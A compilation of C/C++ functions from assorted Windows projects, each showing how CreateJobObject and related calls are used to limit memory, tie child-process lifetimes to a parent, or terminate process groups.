void limitMem( size_t limit ) { static HANDLE hJob = NULL; JOBOBJECT_EXTENDED_LIMIT_INFORMATION jobInfo; jobInfo.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_PROCESS_MEMORY; jobInfo.ProcessMemoryLimit = limit? limit*MByte : 2*MByte*1024; if (NULL == hJob) { if (NULL == (hJob = CreateJobObject(NULL, NULL))) { REPORT("Can't assign create job object: %ld\n", GetLastError()); exit(1); } if (0 == AssignProcessToJobObject(hJob, GetCurrentProcess())) { REPORT("Can't assign process to job object: %ld\n", GetLastError()); exit(1); } } if (0 == SetInformationJobObject(hJob, JobObjectExtendedLimitInformation, &jobInfo, sizeof(jobInfo))) { REPORT("Can't set limits: %ld\n", GetLastError()); exit(1); } }
BOOL CreateBuilderJob(PCTSTR appName, PTSTR cmdLine, PCTSTR workDir, H2BOperation& op) { BOOL ret = TRUE; DWORD err = ERROR_SUCCESS; HANDLE job = CreateJobObject(NULL, NULL); if( job ) { JOBOBJECT_BASIC_LIMIT_INFORMATION jobLimit = { }; jobLimit.LimitFlags = JOB_OBJECT_LIMIT_ACTIVE_PROCESS; jobLimit.ActiveProcessLimit = 1; if( SetInformationJobObject(job, JobObjectBasicLimitInformation, &jobLimit, sizeof(jobLimit)) ) { if( ! CreateBuilderProcess(job, appName, cmdLine, workDir, op) ) err = GetLastError(); } if( err == ERROR_CANCELLED ) TerminateJobObject(job, ERROR_CANCELLED); CloseHandle(job); } if( err != ERROR_SUCCESS ) { SetLastError(err); ret = FALSE; } return ret; }
JobObject::JobObject(void) : m_hJobObject(NULL) { HANDLE jobObject = CreateJobObject(NULL, NULL); if((jobObject != NULL) && (jobObject != INVALID_HANDLE_VALUE)) { JOBOBJECT_EXTENDED_LIMIT_INFORMATION jobExtendedLimitInfo; memset(&jobExtendedLimitInfo, 0, sizeof(JOBOBJECT_EXTENDED_LIMIT_INFORMATION)); memset(&jobExtendedLimitInfo.BasicLimitInformation, 0, sizeof(JOBOBJECT_BASIC_LIMIT_INFORMATION)); jobExtendedLimitInfo.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE | JOB_OBJECT_LIMIT_DIE_ON_UNHANDLED_EXCEPTION; if(SetInformationJobObject(jobObject, JobObjectExtendedLimitInformation, &jobExtendedLimitInfo, sizeof(JOBOBJECT_EXTENDED_LIMIT_INFORMATION))) { m_hJobObject = jobObject; } else { qWarning("Failed to set job object information!"); CloseHandle(jobObject); } } else { qWarning("Failed to create the job object!"); } }
void CJobObject::CreateNewJob() { CMutex::CEnter MutexEnter(m_Mutex); static const DWORD dwMaxBufferSize = 1024; WCHAR pszBuffer[dwMaxBufferSize]; CString JobName; BOOL bError; HANDLE hJob; m_dwJobId = 0; bError = true; while (bError) { m_dwJobId++; if (m_dwJobId == 0) { m_dwJobId++; } wsprintf(pszBuffer, L"%ld", m_dwJobId); JobName = pszBuffer; hJob = CreateJobObject(0, const_cast<PWSTR>(JobName.c_str())); if(hJob == NULL) { bError = true; } else if (GetLastError() == ERROR_ALREADY_EXISTS) { bError = true; } else { bError = false; SetHandle(hJob); } } }
/// <summary> /// Creates a console object and starts the child process </summary> /// /// <param name="ac"> /// Uninitialized console object </param> /// <param name="tzClientPath"> /// Path to client, in an inject environment this should not be relative </param> /// /// <returns> /// If child could be created </returns> BOOL ImAllocConsole(OUT IM_CONSOLE* ac, IN const TCHAR* tzClientPath) { SecureZeroMemory(ac->tzClientPipe, MAX_NAME); // generate a random name (tmpnam has a forward slash and is not necessarily alphanumeric) for (register size_t i = 0; i < rand() % MAX_NAME; ++i) { ac->tzClientPipe[i] = rand() % 26 + 'A'; // make random letter ac->tzClientPipe[i] ^= rand() % 1 << 5; // randomly toggle 0x20 (upper/lowercase) } { // create job object and set information JOBOBJECT_EXTENDED_LIMIT_INFORMATION joELI; ac->hJob = CreateJobObject(NULL, ac->tzClientPipe); if (ac->hJob == NULL) return FALSE; joELI.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE; if(!SetInformationJobObject(ac->hJob, JobObjectExtendedLimitInformation, &joELI, sizeof(JOBOBJECT_EXTENDED_LIMIT_INFORMATION))) { CloseHandle(ac->hJob), ac->hJob = NULL; return FALSE; } } { // create child process SECURITY_ATTRIBUTES sa = {0}; sa.nLength = sizeof(sa); sa.bInheritHandle = TRUE; // sa.lpSecurityDescriptor = NULL; if (!CreatePipe(&ac->hRead, &ac->hWrite, &sa, BUFSIZ)) { CloseHandle(ac->hJob), ac->hJob = NULL; return FALSE; } STARTUPINFO siCon = {0}; PROCESS_INFORMATION piCon = {0}; siCon.cb = sizeof(siCon); siCon.hStdInput = ac->hRead; siCon.dwFlags |= STARTF_USESTDHANDLES; if (!CreateProcess(tzClientPath, NULL, NULL, NULL, TRUE, CREATE_NEW_CONSOLE | CREATE_BREAKAWAY_FROM_JOB | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &siCon, &piCon)) { CloseHandle(ac->hJob), ac->hJob = NULL; return FALSE; } DuplicateHandle(GetCurrentProcess(), piCon.hProcess, GetCurrentProcess(), &ac->hChildProcess, 0, FALSE, DUPLICATE_SAME_ACCESS); CloseHandle(piCon.hThread); CloseHandle(piCon.hProcess); } return AssignProcessToJobObject(ac->hJob, ac->hChildProcess); }
int APIENTRY wWinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPWSTR lpCmdLine, _In_ int nCmdShow) { AttachConsole(ATTACH_PARENT_PROCESS); // Create a named pipe that we can be signaled on for early termination wchar_t buf[512]; wsprintf(buf, L"\\\\.\\pipe\\jobber-%d", GetCurrentProcessId()); HANDLE hPipe = CreateNamedPipe(buf, PIPE_ACCESS_INBOUND | FILE_FLAG_OVERLAPPED, PIPE_READMODE_BYTE | PIPE_WAIT, 1, 256, 256, 100000, NULL); OVERLAPPED io = { 0 }; io.hEvent = CreateEvent(NULL, true, true, NULL); if (!ConnectNamedPipe(hPipe, &io) && GetLastError() != ERROR_IO_PENDING) { DWORD dwLastError = GetLastError(); return -1; } STARTUPINFO si = { 0 }; PROCESS_INFORMATION pi = { 0 }; si.cb = sizeof(STARTUPINFO); si.wShowWindow = nCmdShow; if (!CreateProcess(NULL, lpCmdLine, NULL, NULL, true, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) { DWORD dwLastError = GetLastError(); return -1; } HANDLE hJob = CreateJobObject(NULL, NULL); AssignProcessToJobObject(hJob, pi.hProcess); ResumeThread(pi.hThread); HANDLE handles[2]; handles[0] = io.hEvent; handles[1] = pi.hProcess; int result = WaitForMultipleObjects(2, handles, false, INFINITE); TerminateJobObject(hJob, -1); if (result == WAIT_OBJECT_0) { return -1; } else { DWORD dwExit; GetExitCodeProcess(pi.hProcess, &dwExit); return dwExit; } }
//创建作业对象 bool ZJobObject::create(const tstring & name, LPSECURITY_ATTRIBUTES lpJobAttributes/* = NULL*/) { if (m_handle) { return false; } m_handle = CreateJobObject(lpJobAttributes, name.c_str()); if (m_handle == INVALID_HANDLE_VALUE) { m_handle = 0; } return m_handle != 0; }
HANDLE EngineProcess::mainJob() { QMutexLocker locker(&s_mutex); if (s_job) return s_job; s_job = CreateJobObject(NULL, NULL); JOBOBJECT_EXTENDED_LIMIT_INFORMATION jeli; memset(&jeli, 0, sizeof(JOBOBJECT_EXTENDED_LIMIT_INFORMATION)); jeli.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE; SetInformationJobObject(s_job, JobObjectExtendedLimitInformation, &jeli, sizeof(jeli)); return s_job; }
int main( int argc , char* argv[] ) { #if defined(WIN32) && defined(MAX_MEMORY_GB) if( MAX_MEMORY_GB>0 ) { SIZE_T peakMemory = 1; peakMemory <<= 30; peakMemory *= MAX_MEMORY_GB; printf( "Limiting memory usage to %.2f GB\n" , float( peakMemory>>30 ) ); HANDLE h = CreateJobObject( NULL , NULL ); AssignProcessToJobObject( h , GetCurrentProcess() ); JOBOBJECT_EXTENDED_LIMIT_INFORMATION jeli = { 0 }; jeli.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_JOB_MEMORY; jeli.JobMemoryLimit = peakMemory; if( !SetInformationJobObject( h , JobObjectExtendedLimitInformation , &jeli , sizeof( jeli ) ) ) fprintf( stderr , "Failed to set memory limit\n" ); }
void runner::set_allow_breakaway(bool allow) { if (allow_breakaway == allow) { return; } if (main_job_object == handle_default_value) { main_job_object = CreateJobObject(NULL, NULL); AssignProcessToJobObject(main_job_object, GetCurrentProcess()); } JOBOBJECT_EXTENDED_LIMIT_INFORMATION extended_limit_information; memset(&extended_limit_information, 0, sizeof(extended_limit_information)); if (allow) { extended_limit_information.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_BREAKAWAY_OK | JOB_OBJECT_LIMIT_SILENT_BREAKAWAY_OK; } if (!SetInformationJobObject(main_job_object, JobObjectExtendedLimitInformation, &extended_limit_information, sizeof(extended_limit_information))) { DWORD le = GetLastError(); return; } allow_breakaway = allow; }
HANDLE create_child_process(const char *cmd) { PROCESS_INFORMATION pi = {0}; STARTUPINFO si = {sizeof(si)}; hJOB = CreateJobObject(NULL, NULL); if(!hJOB) { return NULL; } /*JOBOBJECT_SECURITY_LIMIT_INFORMATION security_info = {0}; security_info.SecurityLimitFlags = JOB_OBJECT_SECURITY_NO_ADMIN; if(!SetInformationJobObject(hJOB, JobObjectSecurityLimitInformation, &security_info, sizeof security_info)) { CloseHandle(hJOB); return NULL; }*/ freopen("err.out", "w", stderr); freopen("cmpr.out", "w", stdout); BOOL bSuccess = CreateProcess(NULL, (LPSTR)(void*)cmd, NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW, NULL, NULL, &si, &pi); if(!bSuccess) { CloseHandle(hJOB); return NULL; } if(!AssignProcessToJobObject(hJOB, pi.hProcess)) { CloseHandle(hJOB); CloseHandle(pi.hThread); TerminateProcess(pi.hProcess, 0); CloseHandle(pi.hProcess); return NULL; } if(-1 == ResumeThread(pi.hThread)) { CloseHandle(hJOB); CloseHandle(pi.hThread); TerminateProcess(pi.hProcess, 0); CloseHandle(pi.hProcess); return NULL; } CloseHandle(pi.hThread); return pi.hProcess; }
Job::Job() { millisecondsIdle = 0; processesLimit = false; timeLimit = 0; memoryLimit = 0; cpuUsageIdle = 0; idlenessLimit = 0; std::_stringstream tmp; tmp << JOB_OBJECT_NAME; tmp << GetTickCount(); name = tmp.str(); qualifiedname = JOB_OBJECT_NAMESPACE; qualifiedname.append(name); hJob = CreateJobObject(NULL,qualifiedname.c_str()); tryApi(_T("CreateJobObject"), hJob != NULL); JOBOBJECT_ASSOCIATE_COMPLETION_PORT portInfo; portInfo.CompletionPort = port.handle(); portInfo.CompletionKey = NULL; tryApi(_T("SetInformationJobObject"), SetInformationJobObject(hJob,JobObjectAssociateCompletionPortInformation,&portInfo,sizeof portInfo) != 0); processTimeCounter = perfQuery.addCounter( PerformanceQuery::getPerformanceObjectNameByIndex(PerformanceQuery::INDEX_JOB_OBJECT), _T(""),name, PerformanceQuery::getPerformanceObjectNameByIndex(PerformanceQuery::INDEX_THIS_PERIOD_MSEC_PROCESSOR) ); elapsedTimeCounter = perfQuery.addCounter( PerformanceQuery::getPerformanceObjectNameByIndex(PerformanceQuery::INDEX_SYSTEM), _T(""),_T(""), PerformanceQuery::getPerformanceObjectNameByIndex(PerformanceQuery::INDEX_SYSTEM_UPTIME) ); elapsedTimeCounter.setFormatFlags(elapsedTimeCounter.getFormatFlags() | PDH_FMT_1000); memoryUsageCounter = perfQuery.addCounter( PerformanceQuery::getPerformanceObjectNameByIndex(PerformanceQuery::INDEX_JOB_OBJECT_DETAILS), name,PerformanceQuery::INSTANCE_TOTAL, PerformanceQuery::getPerformanceObjectNameByIndex(PerformanceQuery::INDEX_PAGEFILE_BYTES) ); }
void CJobObject::OpenExistingJob() { CMutex::CEnter MutexEnter(m_Mutex); static const DWORD dwMaxBufferSize = 1024; WCHAR pszBuffer[dwMaxBufferSize]; CString JobName; HANDLE hJob; if (m_dwJobId != 0) { wsprintf(pszBuffer, L"%ld", m_dwJobId); JobName = pszBuffer; hJob = CreateJobObject(0, const_cast<PWSTR>(JobName.c_str())); if(hJob == NULL) { throw CCodineException(CError::GetErrorMessage(GetLastError()), __FILE__, __LINE__); } else { SetHandle(hJob); } } else { throw CCodineException(L"Can not create a job object with id 0", __FILE__, __LINE__); } }
/* 结束进程方案2 TerminateJobObject */ BOOL KillProcessMethod_2(DWORD dwProcessID) { BOOL bRet; HANDLE hProcess, hJob; hProcess = OpenProcess(PROCESS_SET_QUOTA | PROCESS_TERMINATE, FALSE, dwProcessID); if (hProcess == NULL) { return FALSE; } hJob = CreateJobObject(NULL, _T("TestJob")); if (!AssignProcessToJobObject(hJob, hProcess)) { return FALSE; } bRet = TerminateJobObject(hJob, 0); CloseHandle(hProcess); CloseHandle(hJob); return bRet; }
void CPCD::Process::do_exec() { unsigned i; #ifdef _WIN32 Vector<BaseString> saved; char *cwd = 0; save_environment(m_env.c_str(), saved); #endif setup_environment(m_env.c_str()); char **argv = BaseString::argify(m_path.c_str(), m_args.c_str()); if(strlen(m_cwd.c_str()) > 0) { #ifdef _WIN32 cwd = getcwd(0, 0); if(!cwd) { logger.critical("Couldn't getcwd before spawn"); } #endif int err = chdir(m_cwd.c_str()); if(err == -1) { BaseString err; logger.error("%s: %s\n", m_cwd.c_str(), strerror(errno)); _exit(1); } } #ifndef _WIN32 Vector<BaseString> ulimit; m_ulimit.split(ulimit); for(i = 0; i<ulimit.size(); i++){ if(ulimit[i].trim().length() > 0 && set_ulimit(ulimit[i]) != 0){ _exit(1); } } #endif const char *nul = IF_WIN("nul:", "/dev/null"); int fdnull = open(nul, O_RDWR, 0); if(fdnull == -1) { logger.error("Cannot open `%s': %s\n", nul, strerror(errno)); _exit(1); } BaseString * redirects[] = { &m_stdin, &m_stdout, &m_stderr }; int fds[3]; #ifdef _WIN32 int std_dups[3]; #endif for (i = 0; i < 3; i++) { #ifdef _WIN32 std_dups[i] = dup(i); #endif if (redirects[i]->empty()) { #ifndef DEBUG dup2(fdnull, i); #endif continue; } if((* redirects[i]) == "2>&1" && i == 2){ dup2(fds[1], 2); continue; } /** * Make file */ int flags = 0; int mode = S_IRUSR | S_IWUSR ; if(i == 0){ flags |= O_RDONLY; } else { flags |= O_WRONLY | O_CREAT | O_APPEND; } int f = fds[i]= open(redirects[i]->c_str(), flags, mode); if(f == -1){ logger.error("Cannot redirect %u to/from '%s' : %s\n", i, redirects[i]->c_str(), strerror(errno)); _exit(1); } dup2(f, i); #ifdef _WIN32 close(f); #endif } #ifndef _WIN32 /* Close all filedescriptors */ for(i = STDERR_FILENO+1; (int)i < getdtablesize(); i++) close(i); execv(m_path.c_str(), argv); /* XXX If we reach this point, an error has occurred, but it's kind of hard * to report it, because we've closed all files... So we should probably * create a new logger here */ logger.error("Exec failed: %s\n", strerror(errno)); /* NOTREACHED */ #else // Get full path to cygwins shell FILE *fpipe = _popen("sh -c 'cygpath -w `which sh`'", "rt"); char buf[MAX_PATH]; require(fgets(buf, MAX_PATH - 1, fpipe)); fclose(fpipe); BaseString sh; sh.assign(buf); sh.trim("\n"); sh.append(".exe"); BaseString shcmd; shcmd.assfmt("%s -c '%s %s'", sh.c_str(), m_path.c_str(), m_args.c_str()); PROCESS_INFORMATION pi = {0}; STARTUPINFO si = {sizeof(STARTUPINFO), 0}; si.dwFlags |= STARTF_USESTDHANDLES; si.hStdInput = (HANDLE)_get_osfhandle(0); si.hStdOutput = (HANDLE)_get_osfhandle(1); si.hStdError = (HANDLE)_get_osfhandle(2); if(!CreateProcessA(sh.c_str(), (LPSTR)shcmd.c_str(), NULL, NULL, TRUE, CREATE_SUSPENDED, // Resumed after assigned to Job NULL, NULL, &si, &pi)) { char* message; DWORD err = GetLastError(); FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS, NULL, err, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), (LPTSTR)&message, 0, NULL ); logger.error("CreateProcess failed, error: %d, message: '%s'", err, message); LocalFree(message); } HANDLE proc = pi.hProcess; require(proc); // Job control require(m_job = CreateJobObject(0, 0)); require(AssignProcessToJobObject(m_job, proc)); // Resum process after it has been added to Job ResumeThread(pi.hThread); CloseHandle(pi.hThread); // go back up to original cwd if(chdir(cwd)) { logger.critical("Couldn't go back to saved cwd after spawn()"); logger.critical("errno: %d, strerror: %s", errno, strerror(errno)); } free(cwd); // get back to original std i/o for(i = 0; i < 3; i++) { dup2(std_dups[i], i); close(std_dups[i]); } for (i = 0; i < saved.size(); i++) { putenv(saved[i].c_str()); } logger.debug("'%s' has been started", shcmd.c_str()); DWORD exitcode; BOOL result = GetExitCodeProcess(proc, &exitcode); //maybe a short running process if (result && exitcode != 259) { m_status = STOPPED; logger.warning("Process terminated early"); } int pid = GetProcessId(proc); if (!pid) logger.critical("GetProcessId failed, error: %d!", GetLastError()); logger.debug("new pid %d", pid); CloseHandle(proc); m_status = RUNNING; writePid(pid); #endif close(fdnull); }
static void run_child(wchar_t * cmdline) { HANDLE job; JOBOBJECT_EXTENDED_LIMIT_INFORMATION info; DWORD rc; BOOL ok; STARTUPINFOW si; PROCESS_INFORMATION pi; #if defined(_WINDOWS) // When explorer launches a Windows (GUI) application, it displays // the "app starting" (the "pointer + hourglass") cursor for a number // of seconds, or until the app does something UI-ish (eg, creating a // window, or fetching a message). As this launcher doesn't do this // directly, that cursor remains even after the child process does these // things. We avoid that by doing a simple post+get message. // See http://bugs.python.org/issue17290 and // https://bitbucket.org/vinay.sajip/pylauncher/issue/20/busy-cursor-for-a-long-time-when-running MSG msg; PostMessage(0, 0, 0, 0); GetMessage(&msg, 0, 0, 0); #endif job = CreateJobObject(NULL, NULL); ok = QueryInformationJobObject(job, JobObjectExtendedLimitInformation, &info, sizeof(info), &rc); if (!ok || (rc != sizeof(info)) || !job) error(RC_CREATE_PROCESS, L"Job information querying failed"); info.BasicLimitInformation.LimitFlags |= JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE | JOB_OBJECT_LIMIT_SILENT_BREAKAWAY_OK; ok = SetInformationJobObject(job, JobObjectExtendedLimitInformation, &info, sizeof(info)); if (!ok) error(RC_CREATE_PROCESS, L"Job information setting failed"); memset(&si, 0, sizeof(si)); si.cb = sizeof(si); ok = safe_duplicate_handle(GetStdHandle(STD_INPUT_HANDLE), &si.hStdInput); if (!ok) error(RC_NO_STD_HANDLES, L"stdin duplication failed"); ok = safe_duplicate_handle(GetStdHandle(STD_OUTPUT_HANDLE), &si.hStdOutput); if (!ok) error(RC_NO_STD_HANDLES, L"stdout duplication failed"); ok = safe_duplicate_handle(GetStdHandle(STD_ERROR_HANDLE), &si.hStdError); if (!ok) error(RC_NO_STD_HANDLES, L"stderr duplication failed"); ok = SetConsoleCtrlHandler(ctrl_c_handler, TRUE); if (!ok) error(RC_CREATE_PROCESS, L"control handler setting failed"); si.dwFlags = STARTF_USESTDHANDLES; ok = CreateProcessW(NULL, cmdline, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); if (!ok) error(RC_CREATE_PROCESS, L"Unable to create process using '%ls'", cmdline); AssignProcessToJobObject(job, pi.hProcess); CloseHandle(pi.hThread); WaitForSingleObjectEx(pi.hProcess, INFINITE, FALSE); ok = GetExitCodeProcess(pi.hProcess, &rc); if (!ok) error(RC_CREATE_PROCESS, L"Failed to get exit code of process"); exit(rc); }
int main(int argc, char **argv) { #ifdef WINDOWS HANDLE event; char cmdline[128]; if (argc == 1) { /* parent process */ STARTUPINFO si = { sizeof(STARTUPINFO) }; PROCESS_INFORMATION pi; HANDLE job, job2, job3; JOBOBJECT_EXTENDED_LIMIT_INFORMATION limit = {0,}; DWORD exitcode = (DWORD)-1; /* For synchronization we create an inherited event */ SECURITY_ATTRIBUTES sa = {sizeof(sa), NULL, TRUE/*inherit*/}; event = CreateEvent(&sa, FALSE/*manual reset*/, FALSE/*start unset*/, NULL); if (event == NULL) print("Failed to create event"); _snprintf(cmdline, BUFFER_SIZE_ELEMENTS(cmdline), "%s %p", argv[0], event); print("creating child #1\n"); if (!CreateProcess(argv[0], cmdline, NULL, NULL, TRUE/*inherit handles*/, 0, NULL, NULL, &si, &pi)) print("CreateProcess failure\n"); WaitForSingleObject(event, INFINITE); print("terminating child #1 by NtTerminateProcess\n"); TerminateProcess(pi.hProcess, 42); WaitForSingleObject(pi.hProcess, INFINITE); GetExitCodeProcess(pi.hProcess, &exitcode); print("child #1 exit code = %d\n", exitcode); if (!ResetEvent(event)) print("Failed to reset event\n"); print("creating child #2\n"); if (!CreateProcess(argv[0], cmdline, NULL, NULL, TRUE/*inherit handles*/, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) print("CreateProcess failure\n"); job = CreateJobObject(NULL, "drx-test job"); AssignProcessToJobObject(job, pi.hProcess); ResumeThread(pi.hThread); CloseHandle(pi.hThread); WaitForSingleObject(event, INFINITE); print("terminating child #2 by NtTerminateJobObject\n"); TerminateJobObject(job, 123456); CloseHandle(job); WaitForSingleObject(pi.hProcess, INFINITE); GetExitCodeProcess(pi.hProcess, &exitcode); print("child #2 exit code = %d\n", exitcode); if (!ResetEvent(event)) print("Failed to reset event\n"); print("creating child #3\n"); if (!CreateProcess(argv[0], cmdline, NULL, NULL, TRUE/*inherit handles*/, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) print("CreateProcess failure\n"); job = CreateJobObject(NULL, "drx-test job"); AssignProcessToJobObject(job, pi.hProcess); limit.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE; if (!SetInformationJobObject(job, JobObjectExtendedLimitInformation, &limit, sizeof(limit))) print("SetInformationJobObject failed\n"); ResumeThread(pi.hThread); CloseHandle(pi.hThread); WaitForSingleObject(event, INFINITE); print("terminating child #3 by closing job handle\n"); CloseHandle(job); WaitForSingleObject(pi.hProcess, INFINITE); GetExitCodeProcess(pi.hProcess, &exitcode); print("child #3 exit code = %d\n", exitcode); /* Test DuplicateHandle (DrMem i#1401) */ print("creating child #4\n"); if (!CreateProcess(argv[0], cmdline, NULL, NULL, TRUE/*inherit handles*/, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) print("CreateProcess failure\n"); job = CreateJobObject(NULL, "drx-test job"); AssignProcessToJobObject(job, pi.hProcess); limit.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE; if (!SetInformationJobObject(job, JobObjectExtendedLimitInformation, &limit, sizeof(limit))) print("SetInformationJobObject failed\n"); if (!DuplicateHandle(GetCurrentProcess(), job, GetCurrentProcess(), &job2, 0, FALSE, DUPLICATE_SAME_ACCESS)) print("DuplicateHandle failed\n"); if (!DuplicateHandle(GetCurrentProcess(), job, GetCurrentProcess(), &job3, 0, FALSE, DUPLICATE_CLOSE_SOURCE | DUPLICATE_SAME_ACCESS)) print("DuplicateHandle failed\n"); ResumeThread(pi.hThread); CloseHandle(pi.hThread); WaitForSingleObject(event, INFINITE); print("terminating child #4 by closing both job handles\n"); CloseHandle(job2); CloseHandle(job3); WaitForSingleObject(pi.hProcess, INFINITE); GetExitCodeProcess(pi.hProcess, &exitcode); print("child #4 exit code = %d\n", exitcode); } else { /* child process */ int iter = 0; if (sscanf(argv[1], "%p", &event) != 1) { print("Failed to obtain event handle from %s\n", argv[1]); return -1; } if (!SetEvent(event)) print("Failed to set event\n"); /* spin until parent kills us or we time out */ while (iter++ < 12) { Sleep(5000); } } CloseHandle(event); #else /* WINDOWS */ int pipefd[2]; pid_t cpid; char buf = 0; if (pipe(pipefd) == -1) { perror("pipe"); exit(1); } print("creating child\n"); cpid = fork(); if (cpid == -1) { perror("fork"); exit(1); } else if (cpid > 0) { /* parent */ int status; close(pipefd[1]); /* close unused write end */ if (read(pipefd[0], &buf, sizeof(buf)) <= 0) { perror("pipe read failed"); exit(1); } print("terminating child by sending SIGKILL\n"); kill(cpid, SIGKILL); wait(&status); /* wait for child */ close(pipefd[0]); print("child exit code = %d\n", status); } else { /* child */ int iter = 0; close(pipefd[0]); /* close unused read end */ write(pipefd[1], &buf, sizeof(buf)); close(pipefd[1]); /* spin until parent kills us or we time out */ while (iter++ < 12) { sleep(5); } } #endif /* UNIX */ return 0; }
HRESULT CNodeApplicationManager::Initialize(IHttpContext* context) { HRESULT hr; BOOL isInJob, createJob; JOBOBJECT_EXTENDED_LIMIT_INFORMATION jobInfo; if (this->initialized) { return S_OK; } ErrorIf(NULL == (this->eventProvider = new CNodeEventProvider()), ERROR_NOT_ENOUGH_MEMORY); CheckError(this->eventProvider->Initialize()); ErrorIf(NULL != this->asyncManager, ERROR_INVALID_OPERATION); ErrorIf(NULL == (this->asyncManager = new CAsyncManager()), ERROR_NOT_ENOUGH_MEMORY); CheckError(this->asyncManager->Initialize(context)); ErrorIf(NULL == (this->fileWatcher = new CFileWatcher()), ERROR_NOT_ENOUGH_MEMORY); CheckError(this->fileWatcher->Initialize(context)); // determine whether node processes should be created in a new job object // or whether current job object is adequate; the goal is to kill node processes when // the IIS worker process is killed while preserving current job limits, if any ErrorIf(!IsProcessInJob(GetCurrentProcess(), NULL, &isInJob), HRESULT_FROM_WIN32(GetLastError())); if (!isInJob) { createJob = TRUE; } else { ErrorIf(!QueryInformationJobObject(NULL, JobObjectExtendedLimitInformation, &jobInfo, sizeof jobInfo, NULL), HRESULT_FROM_WIN32(GetLastError())); if (jobInfo.BasicLimitInformation.LimitFlags & JOB_OBJECT_LIMIT_SILENT_BREAKAWAY_OK ) { createJob = TRUE; } else if(jobInfo.BasicLimitInformation.LimitFlags & JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE ) { createJob = FALSE; } else if(jobInfo.BasicLimitInformation.LimitFlags & JOB_OBJECT_LIMIT_BREAKAWAY_OK ) { createJob = TRUE; this->breakAwayFromJobObject = TRUE; } else { createJob = TRUE; } } if (createJob) { ErrorIf(NULL == (this->jobObject = CreateJobObject(NULL, NULL)), HRESULT_FROM_WIN32(GetLastError())); RtlZeroMemory(&jobInfo, sizeof jobInfo); jobInfo.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE; ErrorIf(!SetInformationJobObject(this->jobObject, JobObjectExtendedLimitInformation, &jobInfo, sizeof jobInfo), HRESULT_FROM_WIN32(GetLastError())); } this->initialized = TRUE; this->GetEventProvider()->Log(L"iisnode initialized the application manager", WINEVENT_LEVEL_INFO); return S_OK; Error: this->GetEventProvider()->Log(L"iisnode failed to initialize the application manager", WINEVENT_LEVEL_ERROR); if (NULL != this->asyncManager) { delete this->asyncManager; this->asyncManager = NULL; } if (NULL != this->jobObject) { CloseHandle(this->jobObject); this->jobObject = NULL; } if (NULL != this->fileWatcher) { delete this->fileWatcher; this->fileWatcher = NULL; } return hr; }
static intptr_t do_spawnv(rktio_t *rktio, const char *command, int argc, const char * const *argv, int exact_cmdline, intptr_t sin, intptr_t sout, intptr_t serr, int *pid, int new_process_group, int chain_termination_here_to_child, void *env, const char *wd) { intptr_t i, l, len = 0; int use_jo; intptr_t cr_flag; char *cmdline; wchar_t *cmdline_w, *wd_w, *command_w; STARTUPINFOW startup; PROCESS_INFORMATION info; if (exact_cmdline) { cmdline = (char *)argv[1]; } else { for (i = 0; i < argc; i++) { len += strlen(argv[i]) + 1; } cmdline = malloc(len); len = 0; for (i = 0; i < argc; i++) { l = strlen(argv[i]); memcpy(cmdline + len, argv[i], l); cmdline[len + l] = ' '; len += l + 1; } --len; cmdline[len] = 0; } memset(&startup, 0, sizeof(startup)); startup.cb = sizeof(startup); startup.dwFlags = STARTF_USESTDHANDLES; startup.hStdInput = (HANDLE)sin; startup.hStdOutput = (HANDLE)sout; startup.hStdError = (HANDLE)serr; /* If none of the stdio handles are consoles, specifically create the subprocess without a console: */ if (!rktio_system_fd_is_terminal(rktio, (intptr_t)startup.hStdInput) && !rktio_system_fd_is_terminal(rktio, (intptr_t)startup.hStdOutput) && !rktio_system_fd_is_terminal(rktio, (intptr_t)startup.hStdError)) cr_flag = CREATE_NO_WINDOW; else cr_flag = 0; if (new_process_group) cr_flag |= CREATE_NEW_PROCESS_GROUP; cr_flag |= CREATE_UNICODE_ENVIRONMENT; use_jo = chain_termination_here_to_child; if (use_jo) { /* Use a job object to ensure that the new process will be terminated if this process ends for any reason (including a crash) */ if (!rktio->process_job_object) { JOBOBJECT_EXTENDED_LIMIT_INFORMATION jeli; rktio->process_job_object = CreateJobObject(NULL, NULL); memset(&jeli, 0, sizeof(jeli)); jeli.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE; SetInformationJobObject(rktio->process_job_object, JobObjectExtendedLimitInformation, &jeli, sizeof(jeli)); } } cmdline_w = WIDE_PATH_copy(cmdline); if (!exact_cmdline) free(cmdline); wd_w = WIDE_PATH_copy(wd); command_w = WIDE_PATH_temp(command); if (cmdline_w && wd_w && command_w && CreateProcessW(command_w, cmdline_w, NULL, NULL, 1 /*inherit*/, cr_flag, env, wd_w, &startup, &info)) { if (use_jo) AssignProcessToJobObject(rktio->process_job_object, info.hProcess); CloseHandle(info.hThread); *pid = info.dwProcessId; free(cmdline_w); free(wd_w); return (intptr_t)info.hProcess; } else { if (cmdline_w) free(cmdline_w); if (wd_w) free(wd_w); return -1; } }
